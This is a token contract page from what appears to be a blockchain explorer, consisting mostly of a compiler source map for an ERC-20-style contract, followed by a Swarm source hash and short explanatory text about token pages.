;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;8749:96;:::o;6250:173::-;6336:4;6353:40;6363:10;6375:9;6386:6;6353:9;:40::i;:::-;6411:4;6404:11;;6250:173;;;;:::o;9291:151::-;9380:7;9407:11;:18;9419:5;9407:18;;;;;;;;;;;;;;;:27;9426:7;9407:27;;;;;;;;;;;;;;;;9400:34;;9291:151;;;;:::o;7904:665::-;2750:12;:10;:12::i;:::-;2739:23;;:7;:5;:7::i;:::-;:23;;;2731:32;;;;;;7967:11:::1;;;;;;;;;;;7966:12;7958:48;;;;;;;;;;;;:::i;:::-;;;;;;;;;8056:42;8019:15;;:80;;;;;;;;;;;;;;;;;;8144:15;;;;;;;;;;;:23;;;:25;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;8126:55;;;8190:4;8197:15;;;;;;;;;;;:20;;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;8126:94;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;8110:13;;:110;;;;;;;;;;;;;;;;;;8231:63;8248:4;8263:15;;;;;;;;;;;3927:30;8231:8;:63::i;:::-;8307:15;;;;;;;;;;;:31;;;8346:21;8391:4;8411:24;8429:4;8411:9;:24::i;:::-;8450:1;8466;8482:7;:5;:7::i;:::-;8504:15;8307:223;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;8557:4;8543:11;;:18;;;;;;;;;;;;;;;;;;7904:665::o:0;2791:194::-;2750:12;:10;:12::i;:::-;2739:23;;:7;:5;:7::i;:::-;:23;;;2731:32;;;;;;2892:1:::1;2872:22;;:8;:22;;::::0;2864:31:::1;;;;;;2940:8;2911:38;;2932:6;;;;;;;;;;;2911:38;;;;;;;;;;;;2969:8;2960:6;;:17;;;;;;;;;;;;;;;;;;2791:194:::0;:::o;9625:346::-;9744:1;9727:19;;:5;:19;;;9719:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;9825:1;9806:21;;:7;:21;;;9798:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;9909:6;9879:11;:18;9891:5;9879:18;;;;;;;;;;;;;;;:27;9898:7;9879:27;;;;;;;;;;;;;;;:36;;;;9947:7;9931:32;;9940:5;9931:32;;;9956:6;9931:32;;;;;;:::i;:::-;;;;;;;;9625:346;;;:::o;6429:408::-;6545:1;6527:20;;:6;:20;;;6519:29;;;;;;6588:1;6567:23;;:9;:23;;;6559:32;;;;;;6621:26;6640:6;6621;:14;6628:6;6621:14;;;;;;;;;;;;;;;;:18;;:26;;;;:::i;:::-;6604:6;:14;6611:6;6604:14;;;;;;;;;;;;;;;:43;;;;6678:29;6700:6;6678;:17;6685:9;6678:17;;;;;;;;;;;;;;;;:21;;:29;;;;:::i;:::-;6658:6;:17;6665:9;6658:17;;;;;;;;;;;;;;;:49;;;;6718:22;6733:6;6718:14;:22::i;:::-;6751:25;6766:9;6751:14;:25::i;:::-;6811:9;6794:35;;6803:6;6794:35;;;6822:6;6794:35;;;;;;:::i;:::-;;;;;;;;6429:408;;;:::o;2231:98::-;2284:7;2311:10;2304:17;;2231:98;:::o;1651:158::-;1709:7;1742:1;1737;:6;;1729:49;;;;;;;;;;;;:::i;:::-;;;;;;;;;1800:1;1796;:5;;;;:::i;:::-;1789:12;;1651:158;;;;:::o;1464:179::-;1522:7;1542:9;1558:1;1554;:5;;;;:::i;:::-;1542:17;;1583:1;1578;:6;;1570:46;;;;;;;;;;;;:::i;:::-;;;;;;;;;1634:1;1627:8;;;1464:179;;;;:::o;5812:432::-;5895:1;5877:6;:15;5884:7;5877:15;;;;;;;;;;;;;;;;:19;5873:364;;;5913:11;5927:5;5913:19;;5952:9;5964:1;5952:13;;5947:194;5971:9;:16;;;;5967:1;:20;5947:194;;;6033:7;6017:23;;:9;6027:1;6017:12;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;:23;;;6013:113;;6074:4;6065:13;;6101:5;;6013:113;5989:3;;;;;;;5947:194;;;;6160:6;6155:71;;6187:9;6202:7;6187:23;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6155:71;5898:339;5873:364;5812:432;:::o;7:99:1:-;59:6;93:5;87:12;77:22;;7:99;;;:::o;112:169::-;196:11;230:6;225:3;218:19;270:4;265:3;261:14;246:29;;112:169;;;;:::o;287:139::-;376:6;371:3;366;360:23;417:1;408:6;403:3;399:16;392:27;287:139;;;:::o;432:102::-;473:6;524:2;520:7;515:2;508:5;504:14;500:28;490:38;;432:102;;;:::o;540:377::-;628:3;656:39;689:5;656:39;:::i;:::-;711:71;775:6;770:3;711:71;:::i;:::-;704:78;;791:65;849:6;844:3;837:4;830:5;826:16;791:65;:::i;:::-;881:29;903:6;881:29;:::i;:::-;876:3;872:39;865:46;;632:285;540:377;;;;:::o;923:313::-;1036:4;1074:2;1063:9;1059:18;1051:26;;1123:9;1117:4;1113:20;1109:1;1098:9;1094:17;1087:47;1151:78;1224:4;1215:6;1151:78;:::i;:::-;1143:86;;923:313;;;;:::o;1323:117::-;1432:1;1429;1422:12;1569:126;1606:7;1646:42;1639:5;1635:54;1624:65;;1569:126;;;:::o;1701:96::-;1738:7;1767:24;1785:5;1767:24;:::i;:::-;1756:35;;1701:96;;;:::o;1803:122::-;1876:24;1894:5;1876:24;:::i;:::-;1869:5;1866:35;1856:63;;1915:1;1912;1905:12;1856:63;1803:122;:::o;1931:139::-;1977:5;2015:6;2002:20;1993:29;;2031:33;2058:5;2031:33;:::i;:::-;1931:139;;;;:::o;2076:77::-;2113:7;2142:5;2131:16;;2076:77;;;:::o;2159:122::-;2232:24;2250:5;2232:24;:::i;:::-;2225:5;2222:35;2212:63;;2271:1;2268;2261:12;2212:63;2159:122;:::o;2287:139::-;2333:5;2371:6;2358:20;2349:29;;2387:33;2414:5;2387:33;:::i;:::-;2287:139;;;;:::o;2432:474::-;2500:6;2508;2557:2;2545:9;2536:7;2532:23;2528:32;2525:119;;;2563:79;;:::i;:::-;2525:119;2683:1;2708:53;2753:7;2744:6;2733:9;2729:22;2708:53;:::i;:::-;2698:63;;2654:117;2810:2;2836:53;2881:7;2872:6;2861:9;2857:22;2836:53;:::i;:::-;2826:63;;2781:118;2432:474;;;;;:::o;2912:90::-;2946:7;2989:5;2982:13;2975:21;2964:32;;2912:90;;;:::o;3008:109::-;3089:21;3104:5;3089:21;:::i;:::-;3084:3;3077:34;3008:109;;:::o;3123:210::-;3210:4;3248:2;3237:9;3233:18;3225:26;;3261:65;3323:1;3312:9;3308:17;3299:6;3261:65;:::i;:::-;3123:210;;;;:::o;3339:118::-;3426:24;3444:5;3426:24;:::i;:::-;3421:3;3414:37;3339:118;;:::o;3463:222::-;3556:4;3594:2;3583:9;3579:18;3571:26;;3607:71;3675:1;3664:9;3660:17;3651:6;3607:71;:::i;:::-;3463:222;;;;:::o;3691:619::-;3768:6;3776;3784;3833:2;3821:9;3812:7;3808:23;3804:32;3801:119;;;3839:79;;:::i;:::-;3801:119;3959:1;3984:53;4029:7;4020:6;4009:9;4005:22;3984:53;:::i;:::-;3974:63;;3930:117;4086:2;4112:53;4157:7;4148:6;4137:9;4133:22;4112:53;:::i;:::-;4102:63;;4057:118;4214:2;4240:53;4285:7;4276:6;4265:9;4261:22;4240:53;:::i;:::-;4230:63;;4185:118;3691:619;;;;;:::o;4316:86::-;4351:7;4391:4;4384:5;4380:16;4369:27;;4316:86;;;:::o;4408:112::-;4491:22;4507:5;4491:22;:::i;:::-;4486:3;4479:35;4408:112;;:::o;4526:214::-;4615:4;4653:2;4642:9;4638:18;4630:26;;4666:67;4730:1;4719:9;4715:17;4706:6;4666:67;:::i;:::-;4526:214;;;;:::o;4746:329::-;4805:6;4854:2;4842:9;4833:7;4829:23;4825:32;4822:119;;;4860:79;;:::i;:::-;4822:119;4980:1;5005:53;5050:7;5041:6;5030:9;5026:22;5005:53;:::i;:::-;4995:63;;4951:117;4746:329;;;;:::o;5081:118::-;5168:24;5186:5;5168:24;:::i;:::-;5163:3;5156:37;5081:118;;:::o;5205:222::-;5298:4;5336:2;5325:9;5321:18;5313:26;;5349:71;5417:1;5406:9;5402:17;5393:6;5349:71;:::i;:::-;5205:222;;;;:::o;5433:474::-;5501:6;5509;5558:2;5546:9;5537:7;5533:23;5529:32;5526:119;;;5564:79;;:::i;:::-;5526:119;5684:1;5709:53;5754:7;5745:6;5734:9;5730:22;5709:53;:::i;:::-;5699:63;;5655:117;5811:2;5837:53;5882:7;5873:6;5862:9;5858:22;5837:53;:::i;:::-;5827:63;;5782:118;5433:474;;;;;:::o;5913:180::-;5961:77;5958:1;5951:88;6058:4;6055:1;6048:15;6082:4;6079:1;6072:15;6099:320;6143:6;6180:1;6174:4;6170:12;6160:22;;6227:1;6221:4;6217:12;6248:18;6238:81;;6304:4;6296:6;6292:17;6282:27;;6238:81;6366:2;6358:6;6355:14;6335:18;6332:38;6329:84;;6385:18;;:::i;:::-;6329:84;6150:269;6099:320;;;:::o;6425:180::-;6473:77;6470:1;6463:88;6570:4;6567:1;6560:15;6594:4;6591:1;6584:15;6611:85;6656:7;6685:5;6674:16;;6611:85;;;:::o;6702:60::-;6730:3;6751:5;6744:12;;6702:60;;;:::o;6768:158::-;6826:9;6859:61;6877:42;6886:32;6912:5;6886:32;:::i;:::-;6877:42;:::i;:::-;6859:61;:::i;:::-;6846:74;;6768:158;;;:::o;6932:147::-;7027:45;7066:5;7027:45;:::i;:::-;7022:3;7015:58;6932:147;;:::o;7085:238::-;7186:4;7224:2;7213:9;7209:18;7201:26;;7237:79;7313:1;7302:9;7298:17;7289:6;7237:79;:::i;:::-;7085:238;;;;:::o;7329:180::-;7377:77;7374:1;7367:88;7474:4;7471:1;7464:15;7498:4;7495:1;7488:15;7515:102;7557:8;7604:5;7601:1;7597:13;7576:34;;7515:102;;;:::o;7623:848::-;7684:5;7691:4;7715:6;7706:15;;7739:5;7730:14;;7753:712;7774:1;7764:8;7761:15;7753:712;;;7869:4;7864:3;7860:14;7854:4;7851:24;7848:50;;;7878:18;;:::i;:::-;7848:50;7928:1;7918:8;7914:16;7911:451;;;8343:4;8336:5;8332:16;8323:25;;7911:451;8393:4;8387;8383:15;8375:23;;8423:32;8446:8;8423:32;:::i;:::-;8411:44;;7753:712;;;7623:848;;;;;;;:::o;8477:1073::-;8531:5;8722:8;8712:40;;8743:1;8734:10;;8745:5;;8712:40;8771:4;8761:36;;8788:1;8779:10;;8790:5;;8761:36;8857:4;8905:1;8900:27;;;;8941:1;8936:191;;;;8850:277;;8900:27;8918:1;8909:10;;8920:5;;;8936:191;8981:3;8971:8;8968:17;8965:43;;;8988:18;;:::i;:::-;8965:43;9037:8;9034:1;9030:16;9021:25;;9072:3;9065:5;9062:14;9059:40;;;9079:18;;:::i;:::-;9059:40;9112:5;;;8850:277;;9236:2;9226:8;9223:16;9217:3;9211:4;9208:13;9204:36;9186:2;9176:8;9173:16;9168:2;9162:4;9159:12;9155:35;9139:111;9136:246;;;9292:8;9286:4;9282:19;9273:28;;9327:3;9320:5;9317:14;9314:40;;;9334:18;;:::i;:::-;9314:40;9367:5;;9136:246;9407:42;9445:3;9435:8;9429:4;9426:1;9407:42;:::i;:::-;9392:57;;;;9481:4;9476:3;9472:14;9465:5;9462:25;9459:51;;;9490:18;;:::i;:::-;9459:51;9539:4;9532:5;9528:16;9519:25;;8477:1073;;;;;;:::o;9556:281::-;9614:5;9638:23;9656:4;9638:23;:::i;:::-;9630:31;;9682:25;9698:8;9682:25;:::i;:::-;9670:37;;9726:104;9763:66;9753:8;9747:4;9726:104;:::i;:::-;9717:113;;9556:281;;;;:::o;9843:410::-;9883:7;9906:20;9924:1;9906:20;:::i;:::-;9901:25;;9940:20;9958:1;9940:20;:::i;:::-;9935:25;;9995:1;9992;9988:9;10017:30;10035:11;10017:30;:::i;:::-;10006:41;;10196:1;10187:7;10183:15;10180:1;10177:22;10157:1;10150:9;10130:83;10107:139;;10226:18;;:::i;:::-;10107:139;9891:362;9843:410;;;;:::o;10259:173::-;10399:25;10395:1;10387:6;10383:14;10376:49;10259:173;:::o;10438:366::-;10580:3;10601:67;10665:2;10660:3;10601:67;:::i;:::-;10594:74;;10677:93;10766:3;10677:93;:::i;:::-;10795:2;10790:3;10786:12;10779:19;;10438:366;;;:::o;10810:419::-;10976:4;11014:2;11003:9;10999:18;10991:26;;11063:9;11057:4;11053:20;11049:1;11038:9;11034:17;11027:47;11091:131;11217:4;11091:131;:::i;:::-;11083:139;;10810:419;;;:::o;11235:143::-;11292:5;11323:6;11317:13;11308:22;;11339:33;11366:5;11339:33;:::i;:::-;11235:143;;;;:::o;11384:351::-;11454:6;11503:2;11491:9;11482:7;11478:23;11474:32;11471:119;;;11509:79;;:::i;:::-;11471:119;11629:1;11654:64;11710:7;11701:6;11690:9;11686:22;11654:64;:::i;:::-;11644:74;;11600:128;11384:351;;;;:::o;11741:332::-;11862:4;11900:2;11889:9;11885:18;11877:26;;11913:71;11981:1;11970:9;11966:17;11957:6;11913:71;:::i;:::-;11994:72;12062:2;12051:9;12047:18;12038:6;11994:72;:::i;:::-;11741:332;;;;;:::o;12079:807::-;12328:4;12366:3;12355:9;12351:19;12343:27;;12380:71;12448:1;12437:9;12433:17;12424:6;12380:71;:::i;:::-;12461:72;12529:2;12518:9;12514:18;12505:6;12461:72;:::i;:::-;12543:80;12619:2;12608:9;12604:18;12595:6;12543:80;:::i;:::-;12633;12709:2;12698:9;12694:18;12685:6;12633:80;:::i;:::-;12723:73;12791:3;12780:9;12776:19;12767:6;12723:73;:::i;:::-;12806;12874:3;12863:9;12859:19;12850:6;12806:73;:::i;:::-;12079:807;;;;;;;;;:::o;12892:143::-;12949:5;12980:6;12974:13;12965:22;;12996:33;13023:5;12996:33;:::i;:::-;12892:143;;;;:::o;13041:663::-;13129:6;13137;13145;13194:2;13182:9;13173:7;13169:23;13165:32;13162:119;;;13200:79;;:::i;:::-;13162:119;13320:1;13345:64;13401:7;13392:6;13381:9;13377:22;13345:64;:::i;:::-;13335:74;;13291:128;13458:2;13484:64;13540:7;13531:6;13520:9;13516:22;13484:64;:::i;:::-;13474:74;;13429:129;13597:2;13623:64;13679:7;13670:6;13659:9;13655:22;13623:64;:::i;:::-;13613:74;;13568:129;13041:663;;;;;:::o;13710:223::-;13850:34;13846:1;13838:6;13834:14;13827:58;13919:6;13914:2;13906:6;13902:15;13895:31;13710:223;:::o;13939:366::-;14081:3;14102:67;14166:2;14161:3;14102:67;:::i;:::-;14095:74;;14178:93;14267:3;14178:93;:::i;:::-;14296:2;14291:3;14287:12;14280:19;;13939:366;;;:::o;14311:419::-;14477:4;14515:2;14504:9;14500:18;14492:26;;14564:9;14558:4;14554:20;14550:1;14539:9;14535:17;14528:47;14592:131;14718:4;14592:131;:::i;:::-;14584:139;;14311:419;;;:::o;14736:221::-;14876:34;14872:1;14864:6;14860:14;14853:58;14945:4;14940:2;14932:6;14928:15;14921:29;14736:221;:::o;14963:366::-;15105:3;15126:67;15190:2;15185:3;15126:67;:::i;:::-;15119:74;;15202:93;15291:3;15202:93;:::i;:::-;15320:2;15315:3;15311:12;15304:19;;14963:366;;;:::o;15335:419::-;15501:4;15539:2;15528:9;15524:18;15516:26;;15588:9;15582:4;15578:20;15574:1;15563:9;15559:17;15552:47;15616:131;15742:4;15616:131;:::i;:::-;15608:139;;15335:419;;;:::o;15760:180::-;15900:32;15896:1;15888:6;15884:14;15877:56;15760:180;:::o;15946:366::-;16088:3;16109:67;16173:2;16168:3;16109:67;:::i;:::-;16102:74;;16185:93;16274:3;16185:93;:::i;:::-;16303:2;16298:3;16294:12;16287:19;;15946:366;;;:::o;16318:419::-;16484:4;16522:2;16511:9;16507:18;16499:26;;16571:9;16565:4;16561:20;16557:1;16546:9;16542:17;16535:47;16599:131;16725:4;16599:131;:::i;:::-;16591:139;;16318:419;;;:::o;16743:194::-;16783:4;16803:20;16821:1;16803:20;:::i;:::-;16798:25;;16837:20;16855:1;16837:20;:::i;:::-;16832:25;;16881:1;16878;16874:9;16866:17;;16905:1;16899:4;16896:11;16893:37;;;16910:18;;:::i;:::-;16893:37;16743:194;;;;:::o;16943:191::-;16983:3;17002:20;17020:1;17002:20;:::i;:::-;16997:25;;17036:20;17054:1;17036:20;:::i;:::-;17031:25;;17079:1;17076;17072:9;17065:16;;17100:3;17097:1;17094:10;17091:36;;;17107:18;;:::i;:::-;17091:36;16943:191;;;;:::o;17140:177::-;17280:29;17276:1;17268:6;17264:14;17257:53;17140:177;:::o;17323:366::-;17465:3;17486:67;17550:2;17545:3;17486:67;:::i;:::-;17479:74;;17562:93;17651:3;17562:93;:::i;:::-;17680:2;17675:3;17671:12;17664:19;;17323:366;;;:::o;17695:419::-;17861:4;17899:2;17888:9;17884:18;17876:26;;17948:9;17942:4;17938:20;17934:1;17923:9;17919:17;17912:47;17976:131;18102:4;17976:131;:::i;:::-;17968:139;;17695:419;;;:::o

Swarm Source

ipfs://1e55e3c840f7f992b9d886a2570f3cc6b2316a3a19c984e3d3d237c0f3aa6549
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.